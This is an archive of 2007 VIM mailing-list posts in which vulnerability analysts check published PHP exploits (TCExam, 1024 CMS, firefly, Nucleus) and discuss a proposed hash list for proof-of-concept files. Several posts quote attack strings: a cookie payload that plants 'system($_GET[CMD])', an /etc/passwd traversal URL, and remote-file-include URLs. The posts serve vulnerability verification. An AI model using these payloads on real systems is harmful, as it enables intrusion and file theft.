From coley at linus.mitre.org Tue May 1 01:24:19 2007 From: coley at linus.mitre.org (Steven M. Christey) Date: Mon, 30 Apr 2007 21:24:19 -0400 (EDT) Subject: [VIM] iMovie Format String CVE-2007-0646 In-Reply-To: <46364D85.9000107@vitriol.net> References: <46364D85.9000107@vitriol.net> Message-ID: > This CVE references MOAB-30-01-2007, which covered Format String flaws > in Help Viewer, Safari, iMovie HD and iPhoto. It also references the > Apple Security Update 2007-004, which includes fixes for the Help Viewer > and a separate Format String flaw in Installer. Is there any indication > that the flaw fixed in Help Viewer is the same as Safari, iMovie and iPhoto? Well, to make matters more confusing, CVE-2007-0647 is actually for the MOAB Help Viewer issue, so either Apple used the wrong CVE, or they used a single CVE when they meant for it to cover a number of issues. I'll have to send an inquiry. CVE-2007-0645 = iPhoto CVE-2007-0644 = Safari iPhoto has had its own advisories before (CVE-2007-0051), so maybe that issue is expected to be fixed in a separate patch. - Steve From coley at mitre.org Tue May 1 01:47:13 2007 From: coley at mitre.org (Steven M. Christey) Date: Mon, 30 Apr 2007 21:47:13 -0400 (EDT) Subject: [VIM] smells false: VirtuaNews.Pro RFI Message-ID: <200705010147.l411lDRD005711@faron.mitre.org> Researcher: s433d_only_linux Ref: BUGTRAQ VirtuaNews.Pro.v1.0.3.Retail.+All.Plugins Remote file Include http://marc.info/?l=bugtraq&m=117754415631909&w=2 Extracted source code says: include($admindirectory."/".$key.".php"); but exploit uses the "include" parameter, not $admindirectory. I don't have time at the moment to investigate further. - Steve From coley at mitre.org Tue May 1 23:25:41 2007 From: coley at mitre.org (Steven M. Christey) Date: Tue, 1 May 2007 19:25:41 -0400 (EDT) Subject: [VIM] TCExam code injection: why does this work? (and vendor ACK) Message-ID: <200705012325.l41NPfGQ003101@faron.mitre.org> Researcher: rgod Ref: http://www.milw0rm.com/exploits/3816 This is a pretty complex manipulation. It concentrates on a SessionUserLang cookie and provides an attack: SessionUserLang=%2F..%2F%0Asystem%28%24_GET%5BCMD%5D%29%3B%3F%3E%23%2F..%2Fsuntzu; which decodes to: /../ system($_GET[CMD]);?>#/../suntzu; This value is fed into $language in the constructor for the TMXResourceBundle class (see $lang_resources assignment in rgod's extract). $cachefile is set as: K_PATH_CACHE.basename(K_PATH_TMX_FILE, ".xml")."_".K_USER_LANG.".php") and, since K_USER_LANG came from SessionUserLang, this would be set to something like: [K_PATH_CACHE][some-basename]_/../ system($_GET[CMD]);?>#/../suntzu;.php If $cachefile is this value, then how does it possibly make it through this code? $this->cachefile = $cachefile; if (file_exists($this->cachefile)) { // read data from cache require_once($this->cachefile); $this->resource = $tmx; } else { if (!empty($this->cachefile)) { // open cache file file_put_contents($this->cachefile, "<"."?php\n". "// CACHE FILE FOR LANGUAGE: ".$language."\n". "// DATE: ".date("Y-m-d H:i:s")."\n" How could file_put_contents() possibly succeed with such a badly formed filename? Well - whatever it was, the vendor apparently fixed it: http://sourceforge.net/forum/forum.php?forum_id=690912 "TCExam 4.1.000 new release with security fixes." The tce_tmx code is now changed to say: "// CACHE FILE FOR LANGUAGE: ".substr($language,0,2)."\n". but I'm still confused about how $this->cachefile is opened in the first place. What did I miss? - Steve From coley at mitre.org Tue May 1 23:38:46 2007 From: coley at mitre.org (Steven M. Christey) Date: Tue, 1 May 2007 19:38:46 -0400 (EDT) Subject: [VIM] TCExam - 'XSS' is dynamic variable evaluation; vendor patch Message-ID: <200705012338.l41Nckb7003356@faron.mitre.org> Researcher: rgod Ref: http://www.milw0rm.com/exploits/3816 rgod reported as XSS, but to quote him, it's also "God only knows what", due to dynamic variable evaluation: // --- get posted and get variables (to be compatible with register_globals off) foreach ($_REQUEST as $postkey => $postvalue) { $$postkey = $postvalue; } The latest version has this fix: foreach ($_REQUEST as $postkey => $postvalue) { if (($postkey{0} != '_') AND (!preg_match("/[A-Z]/", $postkey{0}))) { $$postkey = $postvalue; } } which smells like a loose regular expression to me that will still allow modification of arbitrary lowercase variables, but I didn't look into whether there were security ramifications. - Steve From coley at mitre.org Wed May 2 16:47:40 2007 From: coley at mitre.org (Steven M. Christey) Date: Wed, 2 May 2007 12:47:40 -0400 (EDT) Subject: [VIM] true: firefly RFI, both doc_root and DOCUMENT_ROOT Message-ID: <200705021647.l42GleKW028118@faron.mitre.org> Researcher: Alkomandoz Hacker Ref: http://www.milw0rm.com/exploits/3805 localize.php has: default : include $doc_root."/modules/admin/include/en.all_messages.php"; include $doc_root."/modules/admin/include/en.all_messages2.php"; config.php has: include $doc_root."/modules/admin/include/applid.php"; include $doc_root."/modules/admin/include/admin_sql.php"; include $doc_root."/modules/admin/include/admin_displays.php"; include $doc_root."/include/grant.php"; include $doc_root."/modules/admin/include/localize.php"; Ref: FRSIRT:ADV-2007-1554 This reference mentions a separate DOCUMENT_ROOT vector in config.php, and sure enough: include $DOCUMENT_ROOT."/config.php"; - Steve From str0ke at milw0rm.com Wed May 2 17:47:19 2007 From: str0ke at milw0rm.com (str0ke) Date: Wed, 2 May 2007 12:47:19 -0500 Subject: [VIM] true: firefly RFI, both doc_root and DOCUMENT_ROOT In-Reply-To: <200705021647.l42GleKW028118@faron.mitre.org> References: <200705021647.l42GleKW028118@faron.mitre.org> Message-ID: <814b9d50705021047j4e04cf1eofedea4f8e13529a1@mail.gmail.com> Doesn't $DOCUMENT_ROOT default to $_SERVER[DOCUMENT_ROOT]; when register globals = on? Atleast it does on my php4 / php5 test boxes. /str0ke On 5/2/07, Steven M. Christey wrote: > > Researcher: Alkomandoz Hacker > Ref: http://www.milw0rm.com/exploits/3805 > > localize.php has: > > default : > include $doc_root."/modules/admin/include/en.all_messages.php"; > include $doc_root."/modules/admin/include/en.all_messages2.php"; > > config.php has: > > include $doc_root."/modules/admin/include/applid.php"; > include $doc_root."/modules/admin/include/admin_sql.php"; > include $doc_root."/modules/admin/include/admin_displays.php"; > include $doc_root."/include/grant.php"; > include $doc_root."/modules/admin/include/localize.php"; > > > Ref: FRSIRT:ADV-2007-1554 > > This reference mentions a separate DOCUMENT_ROOT vector in config.php, > and sure enough: > > include $DOCUMENT_ROOT."/config.php"; > > > - Steve > From coley at linus.mitre.org Wed May 2 19:13:04 2007 From: coley at linus.mitre.org (Steven M. Christey) Date: Wed, 2 May 2007 15:13:04 -0400 (EDT) Subject: [VIM] true: firefly RFI, both doc_root and DOCUMENT_ROOT In-Reply-To: <814b9d50705021047j4e04cf1eofedea4f8e13529a1@mail.gmail.com> References: <200705021647.l42GleKW028118@faron.mitre.org> <814b9d50705021047j4e04cf1eofedea4f8e13529a1@mail.gmail.com> Message-ID: On Wed, 2 May 2007, str0ke wrote: > Doesn't $DOCUMENT_ROOT default to $_SERVER[DOCUMENT_ROOT]; when > register globals = on? Atleast it does on my php4 / php5 test boxes. More stuff I didn't really know... thanks! Works on my PHP 4.4.4... I think FrSIRT sometimes monitors this list. Maybe they can clarify? NOW... maybe $doc_root on config.php is wrong, too. modules/admin/include/config.php has: include $DOCUMENT_ROOT."/config.php"; include $doc_root."/modules/admin/include/applid.php"; So - if $DOCUMENT_ROOT is properly defined - it looks like this might include the config.php in firefly's root directory, which has: $doc_root="/var/www/firefly"; BUT... as discussed in previous VIM posts... if the include with the $DOCUMENT_ROOT fails, then the program continues anyway, and the $doc_root isn't defined. So we definitely care about whether $DOCUMENT_ROOT can be controlled or not. localize.php is definitely still bad. The code I quoted is the default for a top-level switch call without any preceding code. - Steve From f.riphagen at nsec.nl Thu May 3 19:53:07 2007 From: f.riphagen at nsec.nl (Ferdy Riphagen) Date: Thu, 03 May 2007 21:53:07 +0200 Subject: [VIM] True: Flip-search-add-on everything.php incpath RFI Message-ID: <463A3DA3.2090805@nsec.nl> Vuln: Flip-search-add-on everything.php incpath RFI Link: http://seclists.org/bugtraq/2007/Apr/0225.html Researcher: KaRTaL Package is an add-on replacement code for the already existing "everything.php" in the Flip packages. A Flip package 2.x is needed to make it do something... # everything.php 8 @include("options.php"); 9 @include($incpath."users.php"); 10 require_once($incpath."head.php"); Flip version 2.1.1 defines 'incpath' in options.php, version 2.0.1 not, so it depends in the actual flip code used (I only found these two) Additional, as from 11/2005 the project is announced more-or-less not in active development any more. --Ferdy-- From coley at mitre.org Thu May 3 22:58:51 2007 From: coley at mitre.org (Steven M. Christey) Date: Thu, 3 May 2007 18:58:51 -0400 (EDT) Subject: [VIM] weird: YaPig 0.95b RFI on milw0rm Message-ID: <200705032258.l43MwpG7003956@faron.mitre.org> str0ke, milw0rm 3834 doesn't seem to be an exploit, it's just a verbatim copy of the file add_comment.php, as I obtained from yapig 0.95b download at http://sourceforge.net/project/showfiles.php?group_id=93674 Surface-level analysis might indicate file overwriting or RFI related to BASE_DIR or TEMPLATE_DIR, but those variables are defined to constant values in config.php. Any clarification? - Steve From coley at mitre.org Fri May 4 00:26:47 2007 From: coley at mitre.org (Steven M. Christey) Date: Thu, 3 May 2007 20:26:47 -0400 (EDT) Subject: [VIM] true: 1024 CMS LFI: fun protection scheme failure Message-ID: <200705040026.l440Ql8S005672@faron.mitre.org> Ref: MILW0RM:3832 Researcher: Dj7xpl This manipulation caught the eye of one of our analysts: http://Target.com/1024/includes/download.php?item=../uploads/../../../../../etc/passwd Is "../uploads/" really needed? Turns out that it *is* needed (or anything of length 11): //Prevent hacker attacks $path = "../uploads/"; $filename = substr($_GET['item'], 11); $filename = $path.$filename; Hmmm, "../uploads/" is length 11! Later: readfile("$filename"); It's not clear to me what attack the programmer was trying to prevent here, but it's interesting. To me anyway ;-) - Steve From str0ke at milw0rm.com Fri May 4 01:31:20 2007 From: str0ke at milw0rm.com (str0ke) Date: Thu, 3 May 2007 20:31:20 -0500 Subject: [VIM] weird: YaPig 0.95b RFI on milw0rm In-Reply-To: <200705032258.l43MwpG7003956@faron.mitre.org> References: <200705032258.l43MwpG7003956@faron.mitre.org> Message-ID: <814b9d50705031831v488d6445t4e1fa4049b7f49f@mail.gmail.com> Check it now. /str0ke On 5/3/07, Steven M. Christey wrote: > > str0ke, > > milw0rm 3834 doesn't seem to be an exploit, it's just a verbatim copy > of the file add_comment.php, as I obtained from yapig 0.95b download > at http://sourceforge.net/project/showfiles.php?group_id=93674 > > Surface-level analysis might indicate file overwriting or RFI related > to BASE_DIR or TEMPLATE_DIR, but those variables are defined to > constant values in config.php. > > Any clarification? > > - Steve > From jericho at attrition.org Sat May 5 23:32:54 2007 From: jericho at attrition.org (security curmudgeon) Date: Sat, 5 May 2007 23:32:54 +0000 (UTC) Subject: [VIM] PHPMyBibli <= Multiple Remote File Include (fwd) Message-ID: ---------- Forwarded message ---------- From: security curmudgeon To: Mohandko at Gmail.com Date: Sat, 5 May 2007 23:31:34 +0000 (UTC) Subject: Re: PHPMyBibli <= Multiple Remote File Include : # PHPMyBibli <= Multiple Remote File Include Vulnerablitiy ^^^^^^^^ : # Exploit:[Path]/includes/init.inc.php?base_path=Shell ^^^^^^^ This is one exploit, were there more? From jericho at attrition.org Sat May 5 23:44:11 2007 From: jericho at attrition.org (security curmudgeon) Date: Sat, 5 May 2007 23:44:11 +0000 (UTC) Subject: [VIM] c-arbre <= Multiple Remote File Include Vulnerablitiy (fwd) Message-ID: ---------- Forwarded message ---------- From: security curmudgeon To: Mohandko at Gmail.com Date: Sat, 5 May 2007 23:41:24 +0000 (UTC) Subject: Re: c-arbre <= Multiple Remote File Include Vulnerablitiy : # c-arbre <= Multiple Remote File Include Vulnerablitiy : # Exploit:[Path]/c-arbre/espaces/communiques/annotations.php?root_path=Shell Multiple \Mul"ti*ple\, a. [Cf. F. multiple, and E. quadruple, and multiply.] Containing more than once, or more than one; consisting of more than one; manifold; repeated many times; having several, or many, parts. From jericho at attrition.org Sun May 6 03:56:44 2007 From: jericho at attrition.org (security curmudgeon) Date: Sun, 6 May 2007 03:56:44 +0000 (UTC) Subject: [VIM] nucleus 3.22 >> RFI (fwd) Message-ID: ---------- Forwarded message ---------- From: security curmudgeon To: alijsb at yahoo.com Cc: bugtraq at securityfocus.com Date: Sun, 6 May 2007 03:52:32 +0000 (UTC) Subject: Re: nucleus 3.22 >> RFI : VENDOR :http://nucleuscms.org/ : BY : s3rv3r_hack3r (hackerz.ir admin) : bug: : nucleus3.22/nucleus/plugins/skinfiles/index.php = include($DIR_LIBS . 'PLUGINADMIN.php'); : Exloit: : http://victim/nucleus/plugins/skinfiles/index.php?DIR_LIBS=http://shell I haven't examined the source code to this, but on June 16, 2006, gamr-14 at hotmail.com disclosed RFI vulnerabilities [1] in four Nucleus scripts, all with the DIR_LIBS variable as the injection point. This was subsequently proven to be a false report as the variable was previously set and could not be manipulated by an attacker. Have you actually tested this, or is this based on a quick grep of the source code? - jericho [1] http://archives.neohapsis.com/archives/bugtraq/2006-06/0321.html From jericho at attrition.org Sun May 6 17:21:32 2007 From: jericho at attrition.org (security curmudgeon) Date: Sun, 6 May 2007 17:21:32 +0000 (UTC) Subject: [VIM] Vulnerabilities Hashes DB needed (fwd) Message-ID: Hopefully down the road this person will disclose the vendor that did this. I've heard other people run into the same situation occasionally, but it would be nice to see if there is a trend or common vendor doing this. ---------- Forwarded message ---------- From: shadown To: dailydave at lists.immunitysec.com, full-disclosure at lists.grok.org.uk, bugtraq at securityfocus.com Date: Sun, 6 May 2007 17:45:45 +0200 Subject: [Full-disclosure] Vulnerabilities Hashes DB needed [Moderator: I ask you to accept this mail, so that the comunity may come with a solution. Thanks in advance.] Hi, During the near past I have to confront some issues when reporting vulnerabilities to the vendors, I'm not going to disclose the vendor's names because is not the goal of this mail, but to become with a solution. I'm asking the researches comunity and whoever can help us to come with the best solution. In this mail I'll explain my reasons and what I think is the best solution (actually I've borow the idea from others) and ask the comunity if someone thinks that is a better one. Reasons: -------------- 1- I've contacted with some vendor and after getting the right security contact to send the vulnerabilities I've sent the pgped PoC files. Then the vendor didn't come any more to me. After a month I've contacted the vendor again, the vendor said: 'oh, I didn't receive the mail'. I've resent the mail and the vendor replayed: 'I've tryed the PoC files and none of them worked, probably our internal testing team found them'. After receiving that answer from the vendor I've downloaded the software again and the vulnerabilities were fixed. I did a binary diffing to analyze OLD vs. NEW version and extraordinary...the bug I've reported + two other bugs where fixed, what was a bit suspicious. I've ask about this to the vendor and the vendor replayed the following: """ It's hard to imagine that the respective fix would be directly related to your files because we haven't had them. Don't get me wrong, we have no problem crediting anyone who reports bugs to us, helping us to improve our software (just as we did e.g. in the case of version XXXXX where we credited XXX YYYY - see http://www.linktothecredit ) but I don't think this applies here, really... Sorry - maybe you can find some other overruns in the current build? (or, even better, in the build that's coming out in about a week - because that one has some new fixes in it, too [so it's theoretically possible you'd hit something that has already been fixed, too]). """ This was the case with one vendor, and pretty similar situation with others. (ofcourse there were excelent comunication with some other vendors, but is out of the scope of the solution that I want to come with.) 2- There are some vendors that are really dificult to deal with. It took me about 4 months to get the right contact to report the bugs, and this would be another think to think about, A public 'Vendor's Vulnerability Reporting Contact DB/List'. As I do believe in responsible disclosure, I don't agree with 'giving up and launchin 0days' so that vendors eat their s**t, the following is what I think is the best solution for it. Solution: ------------- First of all: I've taken this idea from matasano and Halvar, that were the ones I've seen that did this in the past. The main mailling list should create a 'Vulnerabilities Hashes mailing list' where the researches comunity can send the hashes of the PoC files just before they conctact the vendors. That way if the vendors do not give the proper credits to the researchers, at least the researches will have another proof to show that they were the ones that reported the vulnerabilities, and not just the mails they've crossed with the vendors. Final Comments: ------------------------- I'm pretty sure that a lot of researches has this kind of problems in the past and this is really frustrating. *** I don't want this mail to end up being a: "Oh, yes, I have this problem with xxx", and so. Please don't do that because is NOT the goal of this mail. Just bring your ideas to improve this and to make this 'Vulnerability Hashes mailling list' to happen. *** The following is are the MD5, SHA-1 and SHA-256 hashes of the vulnerabilities that I'll be reporting to the vendors after sending and seeing the post in the mailling list. This is a verdors based hashes, because probably in some cases the PoC files behind this hashes may affect other vendors, but as I didn't try with other vendors I don't deserve the credits for the vendors that I didn't spot vulnerabilities, if other researcher finds the same bugs in other vendors, they are the ones that deserve the credits for that. AnhLab V3: ---------- 65d9c1f2a9f3e7cf90e814ad27c7868b bf6460b08b07b9fdfc90e243e8c72b326b4070f4 e766ac5bedb1144a8bb0426382aec5b58d9fcbf2ac560c321e474f57124c322b Avira Antivir: -------------- 6be69d215a9abee4c5966243fbd074a2 34ad8cd7fd38a8c6af9d6e13bd2bbe72806ceee4 1094efa900cd1b0bcacbd38fa6ebee65bace529227512d25cdeede4dadbaef7b 770206b8b023069913315bc0ad15fa7f a1c5a301e1898e5749eb8bdb477f7ff786142a6d ecc1a63d3c7e1c21a6d92d8b5d7889038861bf09f43c5ab81d84ff6f3a9c166c cd180ca57fccb2611eded02789830803 25d610387e7a7c2a372e8cc612b495c3145e9768 6d4ddde75ecaddd0780420485d4a973cb1d9ba0df2c1fef15ca8a1a29d67f640 c40a37cd215c7cca64310984b6b7a848 4c09a09683328f4a0a56f4ca523b5d25e4a9f618 dbb89a4f297a050df445cb8a0e81b5753f32a4fe0d8b40f648572152215977da 76105c8caf97785c9fa330481b13713d 0ee01fa4ab0f9a3504201ce02a4c53547a8efbb4 eae7a347cbd805bce87ca8303d4de98729034228a1a94b999c01bb132f4738f2 AntivirusKit: ------------- f308330ddc4fe26c0458a148f9594759 36a5feb922e8163be67a85018294d9e179cbcec7 6da70b2be86525ae5fc654cc293a44437ee6ca912668eff7501ef529a5be4196 f9a42de55118798f2920a2b1072c8444 f62f63ac4aee1295cbf7a636e13e5cba7f6474a5 8d8be8e6bd765c8822696d2af58f53f386987129c7ceca43f051f026d4073a7a 56865f1768d2a646ce0e9e8d436ec67b 0dfcb3a5c004665821f58afe3ddc7aca52411919 fd66434954edd4e07265660a37be5737e08414b033901905e5e535a4431aee7b 6511e2fdc0f721a47c4e8a1d626108f2 9fc5010703bcccdab67f4c61b2144f06c1ed6679 0c42ceba2e181cc943a330ea7d9e9ed7b05cb2602b50c10693ab3515d0d3776c e2927d23417de42c00f6570179fa0ab4 5a654b60b4e5d7b971393993bf74bff6b7babf4c a0b47cb536e58f060fd193e44cad1c282964bf02d743eeb375496d96e9852492 e29cf7b7613bfdbb9a0c1b4114527251 712e1835f88a75b50b902b5aeb8c63199d634da8 0b8b843e0e123464275b75fd1d21a808233389204df10accca0d9b29884d8c27 99558b6186c3af5415dac0488b0f4a0d fb6504beb4934e9c4656121d0efd224b3e12da04 b339d6e1ea6d76a297b691b989a650c47392d063a7ee8394ac3a104e831cd97b 136eeda72cff4ce605424dd4566b5c5b d79e8ece11468fffadd9ce0f24d6904544882979 2fb06f226571cb9f097d2ebcdef89898d70033bdd092233fea048fb345d318ad a8f265a5d767f40a942a93be4ace83f4 1aee982c67d3557dcb77989c36ff4c35115eb8c7 957da7450f57781ac32f3a7ff7dcb5c975f5039f7684482706f1cd2dc61bc732 Avast Antivirus: ---------------- 24b53bacfa2f6aeba6226466d6a96758 7bccb6233ae8356928f49ece594af2ec05654ec7 e07652d14834e267a661892a240be7185035942224c9386e68cbdeb1e636369a df88c0d9489a877eca251f6977f07d0b dca5faa757d3a7d72bf37873db8dae7e0f002cd1 65271e3d3a5e4f70f337b19b661f8ed5521777715c3c7223c5bde05f5ab826b9 649666668e1f0a219c0bd9619aff5d91 839c714d4b28bf903c6ccd0b1b7a6fdf5c46c01a 41c263ea1ce75411792f5853c8c02bf1ccf06708f09cd874490ef11623b85d55 0f16d47de15ebbcd30ecad2b3ba9aea2 51f859523e3d1d7eb8549ac27bc0ce292dfb940d 54806f6d3c6d193ea874057bc1d04e403c99c51fcf46dacbf3fdffc8a7033244 f1f4ac1d188c020f8e9a651555279227 dd2cd2fafe3d98b099a7504bd94089c1deec680a cb5e46bb6abe10a8bc35dbb24991770f6433d7b5981998604164bb43ec2676bc 4696e1bb5e73620c6e715d9c727ac7f6 a240b8bdd748a15ef6e451e4a327258367e7c07c 2181db5345a3d04c83cbf5ca8442fecfeb1f3825ec0a7516f07eaebd03ee234a 40a82d15fcb2cd982fde52b5d90e7d49 b5248dd45ff405a0c75e7771c25ce1d8cdc2dfd2 cdedcb945de7855b9ff791ce1d0dff0bacccd715eaf61942676b4153f9783cda df519bca64476f0f7e0a973c31e0828a b46ac3f62a1dd0b9f1dc99d822913cd588f6ee68 003f657a4451b1e34de81862af10eac5cb25950406925e1f837ffc5f2ff2d4a3 193a39e6e57c5fe1e673cd60fc9f838d d2bdb2e33a3c0922918d0badbec70d830228586c dcbeefec4bb40fc39523284073ef5d1f6773786e286949d588e182de490ed74f 835899502d90cf4a435aa4392b2b03f4 ec81ee8d7239a89346e1e17ad4f018da180d5310 b019d4dcfd6db786ee13ed80f6e90b0faeb23f90b8dcb1061a718f9446e39e22 2ec5e7d881bd4792fe63992a052aa054 3bc58e9f7f1d9efc2d2a599b430ca745b810fbcc bd5d5e96fc091a21ac3c1e1e24276fb22cd42dc7b56569de23811ab7196df5e1 df519bca64476f0f7e0a973c31e0828a b46ac3f62a1dd0b9f1dc99d822913cd588f6ee68 003f657a4451b1e34de81862af10eac5cb25950406925e1f837ffc5f2ff2d4a3 193a39e6e57c5fe1e673cd60fc9f838d d2bdb2e33a3c0922918d0badbec70d830228586c dcbeefec4bb40fc39523284073ef5d1f6773786e286949d588e182de490ed74f 835899502d90cf4a435aa4392b2b03f4 ec81ee8d7239a89346e1e17ad4f018da180d5310 b019d4dcfd6db786ee13ed80f6e90b0faeb23f90b8dcb1061a718f9446e39e22 2ec5e7d881bd4792fe63992a052aa054 3bc58e9f7f1d9efc2d2a599b430ca745b810fbcc bd5d5e96fc091a21ac3c1e1e24276fb22cd42dc7b56569de23811ab7196df5e1 7f1dfbef6cbb128480a89c518ef5e7b6 86dfabefece6ced61521cca7a8d573214bacc61d abf0a439abadd50cf7871e14f7b0fecf6d24b0257679e186b4a8cfa5c95db26f 2c799b6dd1a95ac3f7ae9cb6550145ef e509214a69108485821a370d48a22ae519feda42 fc204ac5f18b04a36570273035300004d16ab38b990e7c699743f4bbe1c8cd73 8505d6f3bb638c47a51c1e954945219d 0923321102a3a6ef606a54ea6375118e5003e7d2 f5103f808ba9e227ebf8f16f361a1710f6f083757d56d40a2c6dcd64f4578499 Grisoft AVG: ------------ 7ed40b565903c3788157f1b7facd3e8c d95141a18c0d49e3ef4da4ae4164460c04df571a 018f888c8f9a280c2a546d70646cfdfb002127f786777036190227f82438e99f 4cf5ea82eeb3526584bbc0e648859f28 4872d5a93ce3caafd2398b948a17c535fe1c178d fc528e338ff779041cd7d43d5175461cbec51476bc83bab993930c894b4ab27f 3f30645d19a29120e3ed6667023f9b26 d8e468bb9b6d224e322a08e6b813d9a891a7a37c e88ad4becf6ba0917e9187b7dcc907e2f0d1789e71dd8328f455662405afcacc 9723df4678b88056e18727fadfc523f5 21823e87f72ae6268f67f27dda6e1fd97162baa0 22c7987f4c9f0ae996e322547afd8f70dd0c1e579bebd9505d1d8106c6a8c47f CA eTrust: ---------- b1ad7836c4c5f13acd39a7554cb4a74c b21fdf4ac22cb040ceb060a5ce9369344a012ea5 3c39bf686d8cfa8d5901c10b6faff8e15f53eb5a7b09226893c5ec0add63e819 bb41ecd6340ddadf1b342569f545e0b3 38405393b9145bf92c3ce2b9f887bbb200578c15 cc933471d8a8c1ff2216209b5063b5ebc77e86846d0b5d4809763af1277fcf93 830b9443c1d9a2c3a3c22a61e141ff67 a5eb5a4bfab519db6db1270dda12a3eed36e99e6 ef3a5733a48728564781c3d5d7bf364f7c6b8c2dc9f62fbf7abd07c361e1078b e29cf7b7613bfdbb9a0c1b4114527251 712e1835f88a75b50b902b5aeb8c63199d634da8 0b8b843e0e123464275b75fd1d21a808233389204df10accca0d9b29884d8c27 F-Secure Antivirus: ------------------- 8029afc917c99b76211376677bec7025 0e8b7674771c1cbd8860f73b1ce53aa88720c7d3 107b3efdeab6e622cc164c4cdde5366ca1d4aac7e263217e0b41c7dcbff3b025 2c4c3f6b89c7c395842b41a697cad411 b7d769358b594770d392bd57cbc9e56ece99b422 548b4b246be5ed4cf962d556c20c96c35994269f06b5ddedd7aa7e7248e9e250 657d39f36ac3f09f46ec30ed25a66a48 3ca8a75f157cecb89ab8a9cf29b5589536428d50 1fd43a88cf07ef8f5f1f35f656fbb08b2d16ad273363e88fa2efe4a056937f4a d27a2fb4a40b785e25a450bb3acfd793 6b1d6d0754711ff5bafd84b1ed5a9ceeb88f3a53 e50e14059f17895efcfb7f60ff0be061cf49fa4a288c63ec494991555667da32 McAfee VirusScan: ----------------- a8f265a5d767f40a942a93be4ace83f4 1aee982c67d3557dcb77989c36ff4c35115eb8c7 957da7450f57781ac32f3a7ff7dcb5c975f5039f7684482706f1cd2dc61bc732 ee44ef6cf5cb0a8debae2adf18a33579 a4a386f2b911b7bb9fc3572935032bb56c9a5d85 c8d017c4f095b2f45623117d80433339b16b48de9fc8a7362eb13116bdd29c5b ee44ef6cf5cb0a8debae2adf18a33579 a4a386f2b911b7bb9fc3572935032bb56c9a5d85 c8d017c4f095b2f45623117d80433339b16b48de9fc8a7362eb13116bdd29c5b 3fb13db5928235fce3f6e65aa7ea4e86 83f6ef1b222ad55fd87967e3089f554a33ae5a06 be927665d2d44f0958b7c8070ea4cc77444cdfe3ada3d8398dd1cb8f6b9f6192 a8f265a5d767f40a942a93be4ace83f4 1aee982c67d3557dcb77989c36ff4c35115eb8c7 957da7450f57781ac32f3a7ff7dcb5c975f5039f7684482706f1cd2dc61bc732 ESET NOD32: ----------- cfd37b81fd0dbc62653032a4166173ff 3c69c0e8979237bf4af66f4b93a7ada0d0d81211 e8853ba6967db030d54805899525ba20fb03c4b4786e1c1b97f1666e316052e3 440c492b01a8fb46a28d210345c180ed d0db253944fdc24f81df3cd0c1fb63c1a700e240 8a3a6be38a55a341b2bba13bb4af453ca408edc29f1ee1f3f091e921250d28f1 02dc846a5388b9c3b6021208761e6f5a 600420f8f3c7d438533817d64e0bef92462a614e 5ad94d4d445d48f1ef5d87d492e0213c7af20bebb053621418375c09412d8e4a b6f1955690dcfc804fae032216507430 65cf6c31c4c103c296c937520964d6dd7442d86f f2401d9d3a5c3be0b9eec88eacf493ad6d83942ce0f566129cba929e398efc59 c52853d1d0ada84dd432aff2eacea04e 1f11427a3c5620dff36ef4056901bd3e1a209eeb d51bbacd4b2b540266b793ee2735d729844c0476a648d3dd7fc683d6eef13db4 0107600c8612ff2ad4f22865768d407c 845391b0311305dadbed0aa41c2028e65516bfc1 40eb114d0b472d35850fcdde4bba6bdf36f067ba55a7c2df67d65dcaa4592dec Norman Antivirus: ----------------- fc7743cda0033f81d5c7d969542ea33b 0e4ffac982168a0aa73f529d830dc656a747a6dc ca371fd64625efb50a0f3bb403bd922fc7081fc8966df7b0fd40b40586624188 a9bd4536a1966c0dde8ba718c658e854 f4adb4bfac96954a93c8e9d001630540af4a3fea 32caf66cd837949bfff32d4c2365cb3519d908e56dd3684e8ddc107ba25cc873 d5d020485df8ead5192042da9f32bb0d 95ead5b4fe26e5dff98a7fa95168f41713878f4c e6a19e24893ad87a7c0c299f35fc2010af5a7a4a926e0fa5113946cb80dc1ea5 b9a8a5063abf31f53f6f7d2e35a8f7ee 3640d55abbd155ea22a2a68f9d15f27e5307a048 7cc06d3d8ceb341d6735c57c42288b067605a1fdeb8753729e4dddd0b435ad64 5397061f4268bdcc106ada8724d2cc21 3ddd04f4d4c2a1b2e91630ea909b74e9f8607554 9a9eec3f5fa24f1ccf7cf47effc0a5d1f5dad12e22b61c8e4a6552dc4345a4c1 13fc7553b8e2979942a95f6ff6f16f20 d74a4f36bead45008d826b3e2b5d9959a2394226 769ca66067e3fedff804f454a0b5a9d54dbf85f140de43b8c115f3f0bcdaf74a 40aefe65ef2371df256a5a17be5c08a2 dfc4110d62cb9a36f27b2269f3adfa1cee0ee190 17ff4d9f7dd44101544023dcd6554c2280f0cf2c779cb7a1f26717467eea25c7 7d9f52171e286d022e8c2605cab69db7 a2f3ef73dd41348131a4fc83bb269552c50e8a24 91c53eed8ab2e06e46d7e2d2f5fecfa65d29ec4cf9832b3b1690b724a25b10bf Symantec Norton Antivirus: -------------------------- 05ee29971ad88e895fe3fbb2a931cb64 344724a09b87ebb0901b4a110855840440b5dd35 40494ee480bd1eb946a82d87cdbbad2a55471942b513c7986f1ef07a6a860de8 5aa3942cfb2854ace70434ffbbaf83ad 3b07b9cdbce21fa7c018ffe49ec3e4fb26898e7a d9b0d079ee5d79d4791aed1465cf2b5cb69e953bfee6b39a51727bab6bfe0562 Panda Antivirus: ---------------- c1ef9b02aa230410db5384b60c43737f 6cdbec98c6b2dae754c835cddfd7510a27d6971d c7d9e6b1b1a6a99d15bdbc199584a82629b8c2696e052835832c9cdba6575827 a086d36416b40da2556f708ec7839091 4dd0d6efea6335af8b49e76a8629cd575f56917a 9051df4e9eca261e051097a877aa68c3de568e85e24eb70c4424693018f9cbdb fb2b41a7c8a25c835052ec788250c285 2583a038e47e85a9669f8bb944ccffcf11c21518 eeb614054a4cc99bb4aa3ac4b5f09f74c630a56ca7931a10b54a8f678eb59e67 Sophos Antivirus: ----------------- ac07ed7520c4ff1ae93be01c2dc0a91b 69f941d81f8ed9d2a21ff7421d8f658b8bdef67a 60471004837929f83c0cd5fa58c51505d0182891b656216b67d2ffa3792371ac e51333b8106e0cdc7c28e1d360470933 d3ea44047fde6792e0d451404133dfe37c2701ae 8363eb9f3db54839e10edbb5b0f0214425f42a5a67fa7a7f572d161dc6fe4ecb 1e33c49f7c86d23217f46927d17fcf84 75491f057ef1f7b69ef5431bf1a61ad0ff5765e8 68d66831aab022bac9e96e23ba8e1a55b49c392ed54fab9efe0f95d64ddb747c Cheers, Sergio -- Sergio Alvarez Security, Research & Development IT Security Consultant email: shadown at gmail.com This message is confidential. It may also contain information that is privileged or otherwise legally exempt from disclosure. If you have received it by mistake please let us know by e-mail immediately and delete it from your system; should also not copy the message nor disclose its contents to anyone. Many 